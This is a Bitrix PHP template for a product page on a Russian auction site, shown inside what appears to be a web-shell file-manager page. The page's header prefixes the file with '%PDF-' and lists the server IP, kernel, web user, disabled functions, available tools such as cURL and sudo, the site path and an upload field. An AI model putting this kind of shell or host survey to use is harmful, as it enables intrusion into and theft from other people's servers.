%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.216.197.92 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artlot24_copy/components/bitrix/catalog.element/.default/ |
Upload File : |
<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die(); use Bitrix\Main\Localization\Loc; use Itserw\Wishlist\Favorites; /** * @global CMain $APPLICATION * @var array $arParams * @var array $arResult * @var CatalogSectionComponent $component * @var CBitrixComponentTemplate $this * @var string $templateName * @var string $componentPath * @var string $templateFolder */ $this->setFrameMode(true); $templateLibrary = array('popup', 'fx'); $currencyList = ''; if (!empty($arResult['CURRENCIES'])) { $templateLibrary[] = 'currency'; $currencyList = CUtil::PhpToJSObject($arResult['CURRENCIES'], false, true, true); } $templateData = array( 'TEMPLATE_THEME' => $arParams['TEMPLATE_THEME'], 'TEMPLATE_LIBRARY' => $templateLibrary, 'CURRENCIES' => $currencyList, 'ITEM' => array( 'ID' => $arResult['ID'], 'IBLOCK_ID' => $arResult['IBLOCK_ID'], 'OFFERS_SELECTED' => $arResult['OFFERS_SELECTED'], 'JS_OFFERS' => $arResult['JS_OFFERS'] ) ); unset($currencyList, $templateLibrary); $mainId = $this->GetEditAreaId($arResult['ID']); $itemIds = array( 'ID' => $mainId, 'DISCOUNT_PERCENT_ID' => $mainId.'_dsc_pict', 'STICKER_ID' => $mainId.'_sticker', 'BIG_SLIDER_ID' => $mainId.'_big_slider', 'BIG_IMG_CONT_ID' => $mainId.'_bigimg_cont', 'SLIDER_CONT_ID' => $mainId.'_slider_cont', 'OLD_PRICE_ID' => $mainId.'_old_price', 'PRICE_ID' => $mainId.'_price', 'DESCRIPTION_ID' => $mainId.'_description', 'DISCOUNT_PRICE_ID' => $mainId.'_price_discount', 'PRICE_TOTAL' => $mainId.'_price_total', 'SLIDER_CONT_OF_ID' => $mainId.'_slider_cont_', 'QUANTITY_ID' => $mainId.'_quantity', 'QUANTITY_DOWN_ID' => $mainId.'_quant_down', 'QUANTITY_UP_ID' => $mainId.'_quant_up', 'QUANTITY_MEASURE' => $mainId.'_quant_measure', 'QUANTITY_LIMIT' => $mainId.'_quant_limit', 'BUY_LINK' => $mainId.'_buy_link', 'ADD_BASKET_LINK' => $mainId.'_add_basket_link', 'BASKET_ACTIONS_ID' => $mainId.'_basket_actions', 'NOT_AVAILABLE_MESS' => $mainId.'_not_avail', 'COMPARE_LINK' => $mainId.'_compare_link', 'TREE_ID' => $mainId.'_skudiv', 'DISPLAY_PROP_DIV' => $mainId.'_sku_prop', 'DISPLAY_MAIN_PROP_DIV' => $mainId.'_main_sku_prop', 'OFFER_GROUP' => $mainId.'_set_group_', 'BASKET_PROP_DIV' => $mainId.'_basket_prop', 'SUBSCRIBE_LINK' => $mainId.'_subscribe', 'TABS_ID' => $mainId.'_tabs', 'TAB_CONTAINERS_ID' => $mainId.'_tab_containers', 'SMALL_CARD_PANEL_ID' => $mainId.'_small_card_panel', 'TABS_PANEL_ID' => $mainId.'_tabs_panel' ); $obName = $templateData['JS_OBJ'] = 'ob'.preg_replace('/[^a-zA-Z0-9_]/', 'x', $mainId); $name = !empty($arResult['IPROPERTY_VALUES']['ELEMENT_PAGE_TITLE']) ? $arResult['IPROPERTY_VALUES']['ELEMENT_PAGE_TITLE'] : $arResult['NAME']; $title = !empty($arResult['IPROPERTY_VALUES']['ELEMENT_DETAIL_PICTURE_FILE_TITLE']) ? $arResult['IPROPERTY_VALUES']['ELEMENT_DETAIL_PICTURE_FILE_TITLE'] : $arResult['NAME']; $alt = !empty($arResult['IPROPERTY_VALUES']['ELEMENT_DETAIL_PICTURE_FILE_ALT']) ? $arResult['IPROPERTY_VALUES']['ELEMENT_DETAIL_PICTURE_FILE_ALT'] : $arResult['NAME']; $haveOffers = !empty($arResult['OFFERS']); if ($haveOffers) { $actualItem = $arResult['OFFERS'][$arResult['OFFERS_SELECTED']] ?? reset($arResult['OFFERS']); $showSliderControls = false; foreach ($arResult['OFFERS'] as $offer) { if ($offer['MORE_PHOTO_COUNT'] > 1) { $showSliderControls = true; break; } } } else { $actualItem = $arResult; $showSliderControls = $arResult['MORE_PHOTO_COUNT'] > 1; } $skuProps = array(); $price = $actualItem['ITEM_PRICES'][$actualItem['ITEM_PRICE_SELECTED']]; $measureRatio = $actualItem['ITEM_MEASURE_RATIOS'][$actualItem['ITEM_MEASURE_RATIO_SELECTED']]['RATIO']; $showDiscount = $price['PERCENT'] > 0; if ($arParams['SHOW_SKU_DESCRIPTION'] === 'Y') { $skuDescription = false; foreach ($arResult['OFFERS'] as $offer) { if ($offer['DETAIL_TEXT'] != '' || $offer['PREVIEW_TEXT'] != '') { $skuDescription = true; break; } } $showDescription = $skuDescription || !empty($arResult['PREVIEW_TEXT']) || !empty($arResult['DETAIL_TEXT']); } else { $showDescription = !empty($arResult['PREVIEW_TEXT']) || !empty($arResult['DETAIL_TEXT']); } $showBuyBtn = in_array('BUY', $arParams['ADD_TO_BASKET_ACTION']); $buyButtonClassName = in_array('BUY', $arParams['ADD_TO_BASKET_ACTION_PRIMARY']) ? 'btn-default' : 'btn-link'; $showAddBtn = in_array('ADD', $arParams['ADD_TO_BASKET_ACTION']); $showButtonClassName = in_array('ADD', $arParams['ADD_TO_BASKET_ACTION_PRIMARY']) ? 'btn-default' : 'btn-link'; $showSubscribe = $arParams['PRODUCT_SUBSCRIPTION'] === 'Y' && ($arResult['PRODUCT']['SUBSCRIBE'] === 'Y' || $haveOffers); $arParams['MESS_BTN_BUY'] = $arParams['MESS_BTN_BUY'] ?: Loc::getMessage('CT_BCE_CATALOG_BUY'); $arParams['MESS_BTN_ADD_TO_BASKET'] = $arParams['MESS_BTN_ADD_TO_BASKET'] ?: Loc::getMessage('CT_BCE_CATALOG_ADD'); $arParams['MESS_NOT_AVAILABLE'] = $arParams['MESS_NOT_AVAILABLE'] ?: Loc::getMessage('CT_BCE_CATALOG_NOT_AVAILABLE'); $arParams['MESS_BTN_COMPARE'] = $arParams['MESS_BTN_COMPARE'] ?: Loc::getMessage('CT_BCE_CATALOG_COMPARE'); $arParams['MESS_PRICE_RANGES_TITLE'] = $arParams['MESS_PRICE_RANGES_TITLE'] ?: Loc::getMessage('CT_BCE_CATALOG_PRICE_RANGES_TITLE'); $arParams['MESS_DESCRIPTION_TAB'] = $arParams['MESS_DESCRIPTION_TAB'] ?: Loc::getMessage('CT_BCE_CATALOG_DESCRIPTION_TAB'); $arParams['MESS_PROPERTIES_TAB'] = $arParams['MESS_PROPERTIES_TAB'] ?: Loc::getMessage('CT_BCE_CATALOG_PROPERTIES_TAB'); $arParams['MESS_COMMENTS_TAB'] = $arParams['MESS_COMMENTS_TAB'] ?: Loc::getMessage('CT_BCE_CATALOG_COMMENTS_TAB'); $arParams['MESS_SHOW_MAX_QUANTITY'] = $arParams['MESS_SHOW_MAX_QUANTITY'] ?: Loc::getMessage('CT_BCE_CATALOG_SHOW_MAX_QUANTITY'); $arParams['MESS_RELATIVE_QUANTITY_MANY'] = $arParams['MESS_RELATIVE_QUANTITY_MANY'] ?: Loc::getMessage('CT_BCE_CATALOG_RELATIVE_QUANTITY_MANY'); $arParams['MESS_RELATIVE_QUANTITY_FEW'] = $arParams['MESS_RELATIVE_QUANTITY_FEW'] ?: Loc::getMessage('CT_BCE_CATALOG_RELATIVE_QUANTITY_FEW'); $positionClassMap = array( 'left' => 'product-item-label-left', 'center' => 'product-item-label-center', 'right' => 'product-item-label-right', 'bottom' => 'product-item-label-bottom', 'middle' => 'product-item-label-middle', 'top' => 'product-item-label-top' ); $discountPositionClass = 'product-item-label-big'; if ($arParams['SHOW_DISCOUNT_PERCENT'] === 'Y' && !empty($arParams['DISCOUNT_PERCENT_POSITION'])) { foreach (explode('-', $arParams['DISCOUNT_PERCENT_POSITION']) as $pos) { $discountPositionClass .= isset($positionClassMap[$pos]) ? ' '.$positionClassMap[$pos] : ''; } } $labelPositionClass = 'product-item-label-big'; if (!empty($arParams['LABEL_PROP_POSITION'])) { foreach (explode('-', $arParams['LABEL_PROP_POSITION']) as $pos) { $labelPositionClass .= isset($positionClassMap[$pos]) ? ' '.$positionClassMap[$pos] : ''; } } ?> <div class="up"> <div class="container-fluid wrap"> <div class="row"> <div class="col-md-12 flex"> <div class="info"> <label>Лот №<?=$actualItem["PROPERTIES"]["LOT"]["VALUE"];?> <? if ($GLOBALS['USER']->IsAuthorized() && CModule::IncludeModule("itserw.wishlist")): ?> <button class="button-favorite-default itserw_wishlist js-add-to-wishlist-btn <? if (Favorites::getInstance()->getStorageObject()->isStorageValue(array($actualItem['ID']))): ?>itserw_wishlist_added<? endif; ?>" data-id="<?= $actualItem['ID'] ?>" data-action="add" data-product-id="<?= $actualItem['ID'] ?>"> <svg area-label="<?= GetMessage('ITSERW_WISHLIST_TMPL_FAVORITES') ?>" version="1.1"xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 446.171 446.171" style="enable-background:new 0 0 446.171 446.171;" xml:space="preserve" width="20" height="20"> <path class="svg-hard-bg" d="M399.151,81.241c42.841,40.751,42.841,106.057,0,146.808l-20.898,19.853L223.608,394.71 L68.963,247.902l-20.898-19.853c-42.841-40.751-42.841-106.057,0-146.808s111.804-40.751,154.645,0l20.898,19.853l20.898-19.853 C287.347,40.49,356.31,40.49,399.151,81.241z"/> <path class="svg-hard-border" d="M223.608,410.384c-3.657,0-7.837-1.567-10.971-4.18L37.094,239.543 C13.584,216.555,0,186.775,0,154.906s13.061-62.171,37.094-84.637c48.588-45.976,127.478-45.976,176.065,0l9.927,9.404l9.927-9.404 c48.588-45.976,127.478-45.976,176.065,0l0,0c24.033,22.465,37.094,52.767,37.094,84.637s-13.061,62.171-37.094,84.637 L234.58,406.204C231.445,408.816,227.265,410.384,223.608,410.384z M125.388,66.612c-24.033,0-48.065,8.882-66.351,26.122 c-17.763,16.718-27.167,38.661-27.167,62.171s9.927,45.453,27.167,62.171L223.608,373.29L388.18,217.078 c17.763-16.718,27.167-38.661,27.167-62.171s-9.927-45.453-27.167-62.171l0,0c-36.571-35.004-96.131-35.004-133.225,0 l-20.898,19.853c-6.269,5.747-15.673,5.747-21.42,0l-20.898-19.853C173.453,74.971,149.42,66.612,125.388,66.612z"/> </svg> </button> <? endif ?> </label> <p><a href="<?=($arResult['SECTION']['SECTION_PAGE_URL']?$arResult['SECTION']['SECTION_PAGE_URL']:'/category/vse-loty')?>" onclick="return !window.history.back();">Назад</a></p> <h1 itemprop="name"><?=$actualItem["NAME"];?></h1> <?if($actualItem["PREVIEW_TEXT"]):?><p><?=$actualItem["PREVIEW_TEXT"];?></p><?endif;?> <hr> <?if($actualItem["DISPLAY_PROPERTIES"]["state"]["VALUE"]):?><p><strong>Состояние:</strong> <?=$actualItem["DISPLAY_PROPERTIES"]["state"]["VALUE"];?></p><?endif;?> <?if($actualItem["DISPLAY_PROPERTIES"]["location"]["VALUE"]):?><p><strong>Местоположение:</strong><br><?=$actualItem["DISPLAY_PROPERTIES"]["location"]["VALUE"];?></p><?endif;?> <!--<?if($actualItem["PRICE_VALUES"]["ESTIMATED"]):?><p><strong>Оценочная стоимость:</strong><br><?=$actualItem["PRICE_VALUES"]["ESTIMATED"];?></p><?endif;?>--!> <? if(!empty($arResult['DISPLAY_PROPERTIES']['article']['VALUE'])){?> <p> <strong>Автор / производитель:</strong><br /><? if($arResult['DISPLAY_PROPERTIES']['article']['SECTION_PAGE_URL']){?> <a href="<?=$arResult['DISPLAY_PROPERTIES']['article']['SECTION_PAGE_URL']?>"> <?=$arResult['DISPLAY_PROPERTIES']['article']['VALUE']?> </a><? }else{ echo $arResult['DISPLAY_PROPERTIES']['article']['VALUE']; } ?> </p><? }?> <?$APPLICATION->IncludeComponent( "bitrix:main.include", "", Array( "AREA_FILE_SHOW" => "file", "AREA_FILE_SUFFIX" => "inc", "EDIT_TEMPLATE" => "", "PATH" => SITE_DIR."include/detail_page_phones.php" ) );?> </div> <?if(is_array($arItem["PREVIEW_PICTURE"]) || !empty($actualItem['MORE_PHOTO'])):?> <div class="pics"> <?if(!empty($actualItem['MORE_PHOTO'])):?> <?foreach ($actualItem['MORE_PHOTO'] as $key => $photo):?> <?if($key == 0):?> <a href="<?=$photo['SRC']?>" data-fancybox="gallery"> <div class="selected"> <img src="<?=$photo['SRC']?>" alt="<?=$actualItem["NAME"];?>" title="<?=$actualItem["NAME"];?>"> </div> </a> <?else:?> <a href="<?=$photo['SRC']?>" style="display: none;" data-fancybox="gallery"> <img src="<?=$photo['SRC']?>" alt="<?=$actualItem["NAME"];?>"> </a> <?endif;?> <?endforeach;?> <div class="control"> <div class="line"> <img src="/images/theme/lot-arrow-l.png" class="arrow left"> <div class="imgs"> <?foreach ($actualItem['MORE_PHOTO'] as $key => $photo):?> <img src="<?=$photo['SRC']?>" data-index="<?=$key?>" data-href="<?=$photo['SRC']?>" alt="<?=$actualItem["NAME"];?>" title="<?=$actualItem["NAME"];?>" <?if($key > 2):?>class="hide"<?endif;?><?if($key == 0):?>class="active"<?endif;?>> <?endforeach;?> </div> <img src="/images/theme/lot-arrow-r.png" class="arrow right"> </div> </div> <?else:?> <a href="<?=$actualItem["PREVIEW_PICTURE"]["SRC"]?>" data-fancybox="gallery"> <div class="selected"><img src="<?=$actualItem["PREVIEW_PICTURE"]["SRC"]?>" alt="<?=$actualItem["NAME"];?>" title="<?=$actualItem["NAME"];?>" /></div> </a> <?endif;?> </div> <?endif;?> <?include '_buy.php';?> </div> <?if($actualItem["DETAIL_TEXT"]):?> <div class="col-md-12 info"> <hr> <div> <?=$actualItem["DETAIL_TEXT"];?> </div> <div> </div> </div> <?endif;?> </div> </div> </div> <div class="down"> <div class="container-fluid wrap"> <div class="row"> <div class="col-md-12"> <div class="flex"> <button class="modal_hall" onclick="location.href='/contacts#exhibition'">Выставочный зал</button> <button class="modal_price" onclick="location.href='/contacts#evaluation'">Нужна оценка предмета?</button> <button class="modal_message">Напишите нам</button> <div class="stats"> <?if($actualItem["DISPLAY_PROPERTIES"]["views_count"]["VALUE"]):?> <div class="views d-flex flex-column justify-content-center align-items-center"> <img src="/images/theme/watch.png"> <span><?=$actualItem["DISPLAY_PROPERTIES"]["views_count"]["VALUE"];?></span> </div> <?endif;?> <div class="separator"></div> </div> </div> </div> </div> </div> </div> <div class="modal" id="modalInfo" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog modal-xl modal-dialog-centered" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Информация</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <div class="wysiwyg"> <p>Информация будет доступна позже</p> </div> </div> </div> </div> </div>